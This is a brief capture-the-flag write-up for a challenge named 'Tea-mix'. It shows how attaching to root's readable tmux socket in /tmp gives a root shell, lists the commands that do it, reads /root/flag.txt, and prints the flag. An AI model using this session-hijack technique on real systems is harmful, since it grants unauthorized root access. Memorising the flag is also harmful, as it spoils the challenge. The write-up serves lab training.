Tea-mix

The name hinted towards tmux, which was confirmed by session files for tmux in /tmp; including /tmp/tmux-0/tea_mix (root's session) We have permission toy read the socket file, meaning we can attach to the tmux session.

export TERM=xterm
set tty rows/cols to your own terminal
tmux -S /tmp/tmux-0/tea_mix
root shell
cat /root/flag.txt

Flag: flag{oooohhhh_tea_mix_sounds_like_tmux_i_get_it}